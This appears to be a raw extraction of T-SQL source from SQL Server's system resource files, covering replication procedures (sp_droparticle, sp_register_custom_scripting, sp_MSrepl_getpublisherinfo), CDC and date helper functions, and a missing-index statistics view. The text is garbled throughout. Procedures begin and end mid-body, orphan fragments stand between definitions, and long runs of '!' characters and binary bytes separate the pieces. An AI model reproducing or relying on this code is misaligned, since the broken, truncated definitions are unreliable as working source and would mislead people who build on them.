(
    @mode tinyint = 1  -- 0 = tran, 1 = merge
    ,@publisher sysname
    ,@publisher_engine_edition int=null
    ,@about_to_insert_new_subscription bit
)
as 
begin
    set nocount on
    declare @publisher_id int
                ,@subscription_count int
                ,@count2 int
                ,@max_allowed int
                ,@modestr sysname

    if (@mode not in (0,1))
        return 1

    select @subscription_count = 0
            ,@max_allowed = case when (@mode = 0) then 5 else 25 end
            ,@modestr = case when (@mode = 0) then N'Transactional' else N'Merge' end
            ,@publisher_id = srvid 
    from master.dbo.sysservers where UPPER(srvname) = UPPER(@publisher) 
    if @publisher_id is NULL
        return 0
    --
    -- Get default publisher edition if not supplied
    --
    if @publisher_engine_edition is null
    begin
        select top 1 @publisher_engine_edition = publisher_engine_edition
        from dbo.MSpublisher_databases
        where publisher_id = @publisher_id
        and publisher_engine_edition is not null
        --

        -- if null or workgroup check sku
        if (@publisher_engine_edition is null) or
           (@publisher_engine_edition = 21)
        begin
            SELECT @publisher_engine_edition = sys.fn_MSrepl_editionid()
        end
        
        -- If we do not have publisher edition
        -- no need to do anything
        --
        if @publisher_engine_edition is null
            return 0
    end
    --
    -- Check for workgroup edition - the value defined in sys.fn_MSrepl_editionid()
    --
    if @publisher_engine_edition = 21 
    begin
        --
        -- if caller calls in transaction, it is good to do repeatable read so that we can ensure
        -- that counts can be controlled correctly in concurrent scenarios as well.
        --
        if (@mode = 0)
        begin
            --
            -- check the count of transactional logbased subscriptions
            -- Find the active non anonymous subscriptions (this will list separate count for 
            -- subscriptions which have shared distribution agent
            -- separate the common expression from previous statement by semicolon
            ;
            with activesubscriptionperpublication (publication_id, subscriber_id, subscriber_db, subscription_type) as
            (
                select distinct s.publication_id, s.subscriber_id, s.subscriber_db, s.subscription_type
                from dbo.MSsubscriptions as s with (repeatableread)
                    join dbo.MSpublications as p with (repeatableread)
                        on s.publication_id = p.publication_id
                            and s.publisher_id = p.publisher_id
                            and s.publisher_db = p.publisher_db
                where s.subscriber_id >= 0 
                    and s.publisher_id = @publisher_id
                    and p.publication_type = 0 -- log based publication
            )
            select @subscription_count = count(*) from activesubscriptionperpublication
            --
            -- Also check the count of distribution agents for logbased publications
            -- this will list the anonymous subscriptions separately
            --
            select @count2 = count(*) 
            from dbo.MSdistribution_agents as da with (repeatableread)
                    join dbo.MSpublications as p with (repeatableread)
                        on da.publication = p.publication
                            and da.publisher_id = p.publisher_id
                            and da.publisher_db = p.publisher_db
            where da.subscriber_id >= 0 
                and da.publisher_id = @publisher_id
                and p.publication_type = 0 -- log based publication
            --
            -- choose the greater count
            --
            select @subscription_count = case when (@count2 > @subscription_count) 
                    then @count2 else @subscription_count end
        end
        else
        begin
            --
            -- check the count of merge subscriptions
            --
            select @subscription_count = count(*) from dbo.MSmerge_agents with (repeatableread)
            where publisher_id = @publisher_id
        end
        --
        -- check if the count exceeds the restriction
        --
        if (@about_to_insert_new_subscription = 1 and @subscription_count >= @max_allowed) or
            (@about_to_insert_new_subscription = 0 and @subscription_count > @max_allowed)
        begin
            raiserror (22577, 16, -1, @modestr, @publisher, @max_allowed)
            return 1
        end
    end
    --
    -- all done
    --
    return 0
end
0; s8-- This function returns the dynamic filter login (suser_sname) corresponding to the given
-- value of partitionid. If the publication uses both hostname and suser_sname for filtering
-- it uses the current value of hostname set on the connection to get the correct partition id.
create function sys.fn_MSget_dynamic_filter_login
(
    @publication_number int,
    @partition_id int
)
returns sysname
as
begin
    declare @pubid uniqueidentifier
    declare @retcode int
    declare @uses_host_name bit
    declare @suser_sname sysname
    declare @host_name sysname
    declare @select_command nvarchar(400)

    if (is_member('db_owner') <> 1)
    begin
        return NULL
    end
    
    select @pubid = pubid from dbo.sysmergepublications where publication_number = @publication_number
    if @pubid is NULL
        return NULL

    select @uses_host_name = sys.fn_MSpublication_uses_host_name(@pubid) 
    if @@error <> 0
        return NULL

    if @uses_host_name = 1
        select @host_name = host_name()
    else
        select @host_name = NULL

    -- the following is in dynamic sql because the hostname column may not exist when all publications
    -- use suser_sname for filtering
    if @uses_host_name = 1
        select @suser_sname = sys.fn_MSget_dynamic_filter_login_with_hostname(@publication_number, @partition_id)
    else
        select @suser_sname = SUSER_SNAME_FN from dbo.MSmerge_partition_groups 
            where publication_number = @publication_number
             and partition_id = @partition_id
        
    return @suser_sname
end
0
 8create function sys.fn_MSdayasnumber (@day datetime)
	returns int
as
begin
	return (year(@day) - 2000) * 366 + datepart(dayofyear,@day)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!J&`<T41[L0@ D83hZ8
0 .8CREATE VIEW sys.dm_db_missing_index_group_stats AS

	SELECT IdxS.index_id as group_handle,
		unique_compiles,

		-- stats for user queries
		user_seeks, user_scans, last_user_seek, last_user_scan,
		case 
			when (user_seeks + user_scans) > 0 
			then total_user_cost / (user_seeks + user_scans)
			else 0 
		end as avg_total_user_cost,
		case 
			when (user_seeks + user_scans) > 0
			then ceiling(total_user_impact / (user_seeks + user_scans) * 10000.0 - 0.5) / 100.0
			else 0 
		end as avg_user_impact,

		-- stats for system queries
		system_seeks, system_scans, last_system_seek, last_system_scan,
		case 
			when (system_seeks + system_scans) > 0 
			then total_system_cost / (system_seeks + system_scans)
			else 0 
		end as avg_total_system_cost,
		case 
			when (system_seeks + system_scans) > 0
			then ceiling(total_system_impact / (system_seeks + system_scans) * 10000.0 - 0.5) / 100.0
			else 0 
		end as avg_system_impact

	FROM OpenRowset(TABLE LOGINDEXSTATS) IdxS
	WHERE IdxS.status <> 0
0 %8create procedure sys.sp_register_custom_scripting
(
    @type varchar(16) 		-- one of 'insert', 'delete', 'update', 'custom_script'
    ,@value nvarchar(2048)		-- name of custom scripting proc or path to custom script
    ,@publication sysname = NULL	-- publication to apply this to, NULL means all publications with articles  with @schema_option & 0x02 = 0x02
    ,@article sysname = NULL		-- article to apply this to, NULL means all articles with @schema_option & 0x02 = 0x02
)
as
begin
	if (sys.fn_MSrepl_istranpublished (db_name(),0) != 1)
	begin
		raiserror(18757, 16, -1)
		return (1)
	end
	--
	-- security check
	--
	declare @retcode int
	exec @retcode = sys.sp_MSreplcheck_publish_withddladmin
	if @@error <> 0 or @retcode <> 0
	begin
	    return (1)
	end

	declare @procText nvarchar(max)
			,@register_type tinyint
			,@register_ins tinyint
			,@register_del tinyint
			,@register_upd tinyint
			,@register_custom_script tinyint
			,@auto_genproc tinyint
			,@pubname sysname
			,@artname sysname

	select @register_ins = 1
		,@register_del  = 2
		,@register_upd = 3
		,@register_custom_script = 4
		,@auto_genproc = 0x02


    	select  @register_type = case 
    		when patindex( upper(@type collate SQL_Latin1_General_CP1_CS_AS) + '%', 'INSERT' ) = 1 then @register_ins
    		when patindex( upper(@type collate SQL_Latin1_General_CP1_CS_AS) + '%', 'DELETE' ) = 1 then @register_del
    		when patindex( upper(@type collate SQL_Latin1_General_CP1_CS_AS) + '%', 'UPDATE' ) = 1 then @register_upd
    		when patindex( upper(@type collate SQL_Latin1_General_CP1_CS_AS) + '%', 'CUSTOM_SCRIPT' ) = 1 then @register_custom_script
    		else 0 end

	if @register_type not in (@register_ins, @register_del, @register_upd, @register_custom_script)
	begin
	    raiserror(21402, 16, 11, '@type')
	    return (1)
	end
	
	if (@register_type in (@register_ins, @register_del, @register_upd)) and ((@value is not null) and (object_id(@value) is null))
	begin
	    raiserror(21402, 16, 11, '@value')
	    return (1)
	end

	
	if @publication is not NULL and len (@publication) >= 1
	begin
		--not all publications, check for valid publication name
		EXECUTE @retcode = sys.sp_validname @publication

		if @retcode <> 0
			return (1)

		if not exists (select * from syspublications where name = @publication)
		begin
			raiserror(20026, 16, -1, @publication)	
			return (1)
		end
		select @pubname = @publication
	end
	else
	begin
		--all publications
		select @pubname = '%'
	end

	if @article is not NULL and len (@article) >= 1
	begin
		--not all articles, check for valid publication name
		EXECUTE @retcode = sys.sp_validname @article

		if @retcode <> 0
			return (1)

		if not exists (select * from sysarticles where name = @article)
		begin
			raiserror(20027, 16, -1, @article)	
			return (1)
		end
		select @artname = @article
	end
	else
	begin
		--all articles
		select @artname = '%'
	end

	--let's not check for 'SQL' format here, if @auto_genproc is on and one of ins/del/upd is using 'SQL'
	--sp_addarticle/sp_changearticle should be the right place to handle it, not here
		
	-- the difference between ins/del/upd proc and custom_script, is the former applies to article with schema_option & 0x02 = 0x02
	-- while the later applied to the opposite, -- articles with schema_options & 0x02 <> 0x02
			
	-- NULL @value means unregister
		
	select @procText = N'update dbo.sysarticles set ' + case @register_type when @register_ins then N'ins_scripting_proc = '
																		when @register_del then N'del_scripting_proc = '
																		when @register_upd then N'upd_scripting_proc = '
																		when @register_custom_script then N'custom_script = '
																		end
						+ case @register_type when @register_custom_script then isnull(N'''' + sys.fn_replreplacesinglequote(@value) + N'''', 'NULL')
																else isnull(cast(object_id(@value) as varchar(12)), 'NULL')
																end
						+ N' from sysarticles sa join syspublications sp on sa.pubid = sp.pubid
					where cast(sa.schema_option as int) & ' + cast (@auto_genproc as varchar(12) )
						+ case @register_type when @register_ins then N' = '
										when @register_del then N' = '
										when @register_upd then N' = '
										when @register_custom_script then N' <> '
										end
						+ cast (@auto_genproc as varchar(12) ) 
						+ N' and sp.name like ''' + @pubname + N'''
							and sa.name like ''' + @artname + N''''
		
		exec (@procText)

	return @retcode
end
0y_@ 8
create procedure sys.sp_MStablenickname 
    @owner        sysname,
    @tablename     sysname,
    @nick int     output
as
    declare @qualified_name nvarchar(270)
    if @owner is not null
        select @qualified_name = QUOTENAME(@owner) + '.' + QUOTENAME(@tablename)
    else 
        select @qualified_name = QUOTENAME(@tablename)
        
    select @nick = nickname from dbo.sysmergearticles a, sys.objects o
            where a.objid = o.object_id and o.object_id = OBJECT_ID(@qualified_name) and
                (SCHEMA_NAME(schema_id) = @owner or @owner is null)
    if @nick is NULL return (1)             
    return (0)
  ,@article = @current_article
        -- Insert go
        insert into #scripttext (line) values ('GO')
        fetch harticle into @current_article    
    end    
            
Failure:
    
    if @cursor_opened <> 0
    begin
        close harticle
    end
    
    if @cursor_allocated <> 0
    begin
        deallocate harticle
    end
    return @retcode

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!![9
n
`
<}F50Ѕ 8--
-- Name: sp_MShelp_replication_table
--
-- Description: This procedure is used by DMO to get tables can be published and
--              their properties
--
-- Returns: error code
--
-- Security: 'db_owner' publishing database
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MShelp_replication_table (
    @table_name sysname = NULL,
    @table_owner sysname = NULL
    ) 
AS

SET NOCOUNT ON

declare @objid int
declare @retcode int
declare @OPT_ENABLED_FOR_P2P int

select @OPT_ENABLED_FOR_P2P = 0x1

--
-- Security Check
--
exec @retcode = sys.sp_MSreplcheck_publish
if @@ERROR <> 0 or @retcode <> 0
    return(1)

if @table_name is not null
begin
    if @table_owner is NULL
        select @table_owner = schema_name()
    declare @qualified_table_name   nvarchar(4000)
    select @qualified_table_name = QUOTENAME(@table_owner) + '.' + QUOTENAME(@table_name)
    select @objid = object_id(@qualified_table_name)
    if @objid is null
    begin
        RAISERROR (14027, 11, -1, @qualified_table_name)
        return(1)
    end
end

create table #merge_objects (objid int primary key)

create table #tran_objects (objid int, is_queued bit default 0, is_peertopeer bit default 0)

if object_id('sysmergearticles') is not null
    insert into #merge_objects select distinct objid from dbo.sysmergearticles where 
        objid = @objid or @objid is null

if object_id('sysarticles') is not null
    insert into #tran_objects 
    	select distinct sa.objid,
    			isnull(sp.allow_queued_tran, 0),
    			isnull((sp.options & @OPT_ENABLED_FOR_P2P), 0)
    		from syspublications sp 
    			join sysarticles sa
    				on sp.pubid = sa.pubid
        	where sa.objid = @objid
        		or @objid is null
        			
select  'table name' = o.name, 
        'table owner' = schema_name(o.schema_id), 
        'ID' = o.object_id, 
        'Category' = case when 
			(ObjectProperty(o.object_id, 'TableHasPrimaryKey') = 1)
			then 512 else 0 end,   
	    'HasGuidColumn' = case when 
                exists (select * from sys.columns c where c.object_id = o.object_id and
                type_name(c.system_type_id) = 'uniqueidentifier')
            then cast(1 as bit) 
            else cast(0 as bit)
            end,
        'HasTimeStampColumn' = ObjectProperty(o.object_id, 'TableHasTimestamp'),
        'HasRowVersionColumn' = case when 
                exists (select * from sys.columns c where c.object_id = o.object_id and 
                name = N'msrepl_tran_version')
            then cast(1 as bit) 
            else cast(0 as bit)
            end,
        'HasIdentityColumn' = 
			case when ObjectProperty(o.object_id, 'TableHasIdentity') = 1
						and not exists (select * from sys.columns c 
							where c.object_id = o.object_id
							and type_name(c.system_type_id) = 'tinyint'
							and is_identity = 1
							) then 1 else 0 end,
        'HasSQLVariantColumn' = case when 
                exists (select * from sys.columns c where c.object_id = o.object_id and
                type_name(c.system_type_id) = 'sql_variant') 
            then cast(1 as bit) 
            else cast(0 as bit)
            end,
        'HasBigIntColumn' = case when 
                exists (select * from sys.columns c where c.object_id = o.object_id and
                type_name(c.system_type_id) = 'bigint')
            then cast(1 as bit) 
            else cast(0 as bit)
            end,
        'HasBigIntIdentityColumn' = case when 
                exists (select * from sys.columns c where c.object_id = o.object_id and
                ColumnProperty(o.object_id, c.name, 'IsIdentity') = 1 and
                type_name(c.system_type_id) = 'bigint')
            then cast(1 as bit) 
            else cast(0 as bit)
            end,
        'MergePublished' = case when exists (select * from #merge_objects m where
            m.objid = o.object_id)
            then cast(1 as bit) 
            else cast(0 as bit)
            end,
        'QueuedTranPublished' = case when exists (select *
				        							from #tran_objects tobj 
				        							where tobj.objid = o.object_id
				        								and isnull(is_queued, 0) = 1)
					        		then cast(1 as bit)
					          		else cast(0 as bit)
								end,
        'HasIdentityNotForReplColumn' = case when 
                exists (select * from sys.columns c where c.object_id = o.object_id and 
                    ColumnProperty(o.object_id, c.name, 'IsIdNotForRepl') = 1)
            then cast(1 as bit) 
            else cast(0 as bit)
            end,
        'HasImprecisePkColumn' = sys.fn_fcomputedpkimprecise(o.object_id),
        'PeerToPeerPublished' = case when exists (select *
				        							from #tran_objects tobj 
				        							where tobj.objid = o.object_id
				        								and isnull(is_peertopeer, 0) = 1)
					        		then cast(1 as bit)
					          		else cast(0 as bit)
								end,
        'HasHierarchyIdColumn' = case when
                exists (select * 
                          from sys.columns sc
                    inner join sys.types st
                            on sc.object_id = o.object_id
                           and sc.system_type_id = st.system_type_id
                           and sc.user_type_id = st.user_type_id
                         where st.name = N'hierarchyid'
                           and schema_name(st.schema_id) = N'sys')
                                    then cast(1 as bit)
                                    else cast(0 as bit)
                                end,
        'HasSparseColumn' = case when
                exists (select * from sys.columns c where c.object_id = o.object_id and c.is_sparse = 1)
            then cast(1 as bit) 
            else cast(0 as bit)
            end,
        'HasColumnSetColumn' = case when
                exists (select * from sys.columns c where c.object_id = o.object_id and c.is_column_set = 1)
            then cast(1 as bit) 
            else cast(0 as bit)
            end,
        'IsFileTable' = (select is_filetable from sys.tables t where t.object_id = o.object_id)
        from sys.objects o where o.type = 'U' and 
            ObjectProperty(o.object_id, 'IsMSShipped') = 0 and
            --in cdc enabled db, repl ui should filter out objects owned by cdc schema
           ((o.schema_id  <> SCHEMA_ID('cdc')) or (db_id() in (select database_id from sys.databases where is_cdc_enabled = 0))) and 
            (o.object_id = @objid or @objid is null)
            order by 1, 2
        
drop table #merge_objects
drop table #tran_objects
0Y @ 8create procedure sys.sp_MSmakejoinfilter
	@publication	sysname,
	@article		sysname,
	@base_objid		int,
	@join_objid		int,
	@join_unique	int
	AS
	declare @retcode int
	exec @retcode = sys.sp_MSmakeorcheck_joinfilter_using_dri	@publication,
																@article,	
																@base_objid,
																@join_objid,
																@join_unique
	return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<T	S8Y0 D8{h0@ 8
--
-- Name:    
--          sp_droparticle
--          
-- Description: 
--          Drops an article from a snapshot or transactional publication.
--			An article cannot be removed if one or more subscriptions to it exist.
--			This stored procedure is executed at the Publisher on the publication database.
--  
-- Security: 
--          Public
--
-- Returns:
--          Success (0) or Failure (1)
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_droparticle
(
    @publication				sysname,
    @article					sysname,
    @ignore_distributor			bit = 0,    
    @force_invalidate_snapshot	bit = 0,
    @publisher					sysname = NULL,
    @from_drop_publication		bit = 0
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_droparticle'
	
	EXEC @retcode = @cmd
					@publication,
					@article,
					@ignore_distributor,
					@force_invalidate_snapshot,
					@publisher,
					@from_drop_publication,
					@publisher_type

	RETURN (@retcode)
END
0 8
create function [sys].[fn_cdc_get_start_lsn]
(
	@capture_instance sysname
)
returns binary(10)
with execute as 'dbo'
as
begin
	declare @start_lsn binary(10)
		
	select @start_lsn = 0	
		
	select @start_lsn = start_lsn							
	from [cdc].[change_tables]							
	where capture_instance = @capture_instance						
    
	return @start_lsn 	
end
0 8create procedure sys.sp_MShelpdestowner(
@spname sysname
)
AS

-- Security check
if (1 <> is_member('db_owner') and
    not exists (select * from dbo.sysmergepublications 
                    where 1 = {fn ISPALUSER(pubid)}))
begin    
    RAISERROR (15247, 11, -1)
    return (1)
end

if exists (select * from sys.parameters where name = '@destowner' and object_id = object_id(@spname))
    select 1
else
    select 0
ADR_INSTANCE_NODE_MAP)
0\@ 8
--
-- Name:
--		sp_MSrepl_getpublisherinfo
--
-- Description:
--		Retrieve info about a publisher.
--		If output param is NULL, returns new value
--		If output is '%', returns a result set
--
-- Returns:
--		0 == Failed
--		1 == Succeed
--
-- Security:
--		public
--
-- Notes:
--		Primarily used for determining a pubtype as
--		well as building an RPC header for executing
--		commands in the correct context.
--
--		@publisher is rejected for MSSQLSERVER publications.
--		This is to prevent any unexpected security issues with
--		supplying the publisher name.  HREPL is designed from
--		the start to have this parameter and the code paths are
--		expecting to validate publisher names.  SQL Server only
--		code has no notion of this and generally needs to trust
--		the publisher name implicitly.
--

CREATE PROCEDURE sys.sp_MSrepl_getpublisherinfo
(
    @publisher sysname = NULL,
    @publisher_type sysname = NULL OUTPUT,
    @publisher_id int = NULL OUTPUT,
    @distributor sysname = NULL OUTPUT,
    @distribdb sysname = NULL OUTPUT,
    @rpcheader nvarchar(4000) = NULL OUTPUT,
    @hreplOnly bit = 0,
    @skipSecurityCheck bit = 0
)
AS
BEGIN
    set nocount on
    IF @publisher IS NULL
    BEGIN
        -- SQL Server
        -- Set output parameters
        SELECT  @publisher_type = N'MSSQLSERVER',
                    @publisher_id = 0,
                    @distributor = NULL,
                    @distribdb = NULL,
                    @rpcheader = N''
    END
    ELSE
    BEGIN
        -- HREPL publisher
        DECLARE @retcode int
                    ,@loc_pubtype sysname
                    ,@loc_publisherid int
                    ,@loc_distributor sysname
                    ,@loc_distribdb sysname
                    
        SELECT  @loc_pubtype = NULL,
                    @loc_publisherid = 0,
                    @loc_distributor = NULL,
                    @loc_distribdb = NULL

        IF @skipSecurityCheck = 0
        BEGIN
            -- Verify that the user is 'sysadmin' at the distributor
            -- HREPL always requires sysadmin.  HREPL is implied when @publisher
            -- is provided.  To avoid info disclosure, do a security check right
            -- now.  This prevents returning info if you shouldn't know about it.
            IF (IS_SRVROLEMEMBER('sysadmin') = 0)
            BEGIN
                RAISERROR(21089,16,-1)
                RETURN (1)
            END
        END

        -- Verify publisher name makes sense
        EXECUTE @retcode = sys.sp_validname @publisher
        IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)

        -- Find distribution databse
        EXEC @retcode = sys.sp_MSrepl_getdistributorinfo    @publisher      = @publisher,
                                                                                @distributor    = @loc_distributor OUTPUT,
                                                                                @distribdb      = @loc_distribdb   OUTPUT,
                                                                                @publisher_type = @loc_pubtype     OUTPUT,
                                                                                @publisher_id   = @loc_publisherid OUTPUT
        IF @@error <> 0 OR @retcode <> 0 or (@loc_distributor IS NULL) or (@loc_distribdb IS NULL)
        BEGIN
            RAISERROR (14080, 16, -1, @publisher)
            RETURN (1)
        END

        IF @loc_pubtype = 'MSSQLSERVER'
        BEGIN
            IF @hreplOnly = 1
            BEGIN
                -- Publisher param for HREPL only
                RAISERROR(21774, 16, -1, @publisher)
            END
            ELSE
            BEGIN
                -- Publisher parameter only valid for HREPL
                RAISERROR(21606, 16, -1, '@publisher', 'NULL')
            END

            RETURN (1)
        END

        -- Verify that distributor is local.  If not, reject with error
        IF UPPER(@loc_distributor) != CONVERT(sysname, SERVERPROPERTY('ServerName'))
        BEGIN
            RAISERROR (21671, 16, -1)
            RETURN (1)
        END

        -- Set output parameters
        SELECT @publisher_type = @loc_pubtype,
               @publisher_id = @loc_publisherid,
               @distributor = @loc_distributor,
               @distribdb = @loc_distribdb,
               @rpcheader = QUOTENAME(@loc_distribdb) + N'.'
    END -- HREPL publisher block
    -- all done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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.	G`|<BrD0&? 8 
-- add it
create view sys.dm_pdw_nodes_exec_sessions as
select *, convert(int, null) pdw_node_id from sys.dm_exec_sessions
0oP 
8--
-- Name: sp_MScleanupmergepublisher_internal
-- 
-- Description: This procedure currently performs the following function(s):
--              1) Cleans up all the stale dynamic snapshot views
--              in all databases enabled for merge replication. This 
--              procedure should normally be called at merge publisher startup.
--              
-- Notes: 1)This procedure is enabled as a startup procedure when a database is
--        enabled as a first merge publisher database on the server and it 
--        will be unmarked as a startup procedure when the last merge publisher
--        database is disabled.
--        2)Errors within the SP are mostly ignored.
--        3)This procedure can also be used by admins/securityadmins to perform
--        manual cleanup of all dynamic snapshot views. Note that cleaning up the 
--        dynamic snapshot views can disrupt dynamic snapshots that are being generated.
--        
-- Returns: (undefined)
--
-- Security: Only members of the sysadmin fixed server role can execute this
--           procedure successfully. So for this procedure to function proprely 
--           as a startup procedure, the MSSQLServer service account must be a 
--           member of the sysadmin role.
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MScleanupmergepublisher_internal
as
begin
    set nocount on
    declare @status_mask int
    declare @published_mask int
    declare @published_database_name sysname
    declare @command nvarchar(4000)

    -- Security check: sysadmin only
    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror(14260,16,-1)
        return (1)
    end

    -- Masks off the databases with status that we don't want to deal with
    select @status_mask = 32 | -- loading
                          64 | -- pre recovery
                          128 | -- recovering
                          256 | -- not recovered
                          512 | -- offline
                          1024  -- read only

    select @published_mask = 4 -- Merge published

    declare hPublishedDatabase cursor local fast_forward for
        select name from sysdatabases 
         where (status & @status_mask) = 0
           and (category & @published_mask) <> 0

    open hPublishedDatabase

    fetch hPublishedDatabase into @published_database_name
    while  (@@fetch_status <> -1)
    begin

        select @command = QUOTENAME(@published_database_name) + '.sys.sp_MScleanupmergepublisherdb'

        exec @command
        -- Ignore errors
        fetch hPublishedDatabase into @published_database_name
    end

    close hPublishedDatabase
    deallocate hPublishedDatabase

end
0&V A8create function sys.fn_subtract_units_from_date(
    @number_of_units int,
    @unit_of_time tinyint,
    @start_date datetime
) returns datetime
as
begin
    declare @resulting_date datetime
    
    select @resulting_date = 
        case    when @unit_of_time = 0    -- only in case of days, take care of time zone differences by adding 1 day.
                    then dateadd(dd, 0-(@number_of_units + 1), @start_date)
                when @unit_of_time = 1
                    then dateadd(wk, 0-@number_of_units, @start_date)
                when @unit_of_time = 2
                    then dateadd(mm, 0-@number_of_units, @start_date)
                when @unit_of_time = 3
                    then dateadd(yy, 0-@number_of_units, @start_date)
                when @unit_of_time = 4
                    then dateadd(hh, 0-@number_of_units, @start_date)
                when @unit_of_time = 5
                    then dateadd(mi, 0-@number_of_units, @start_date)
        end
                    
    return @resulting_date
end
09BN u8
--
-- Name:
--  fn_MSrepl_istranpublished
--
-- Description:
-- Function to determine if a database is published for 
-- transactional (regular or heterogenous).
--
-- Returns:
--		0 == FALSE
--		1 == TRUE
--
-- Security:
--		Internal
-- Requires Certificate signature for catalog access
--
-- Notes:
--		Includes logic to determine if a db is being published
--
CREATE FUNCTION sys.fn_MSrepl_istranpublished
(
    @db_name sysname
    ,@hrepl bit
)
RETURNS BIT
AS
BEGIN
    DECLARE @fpublished bit
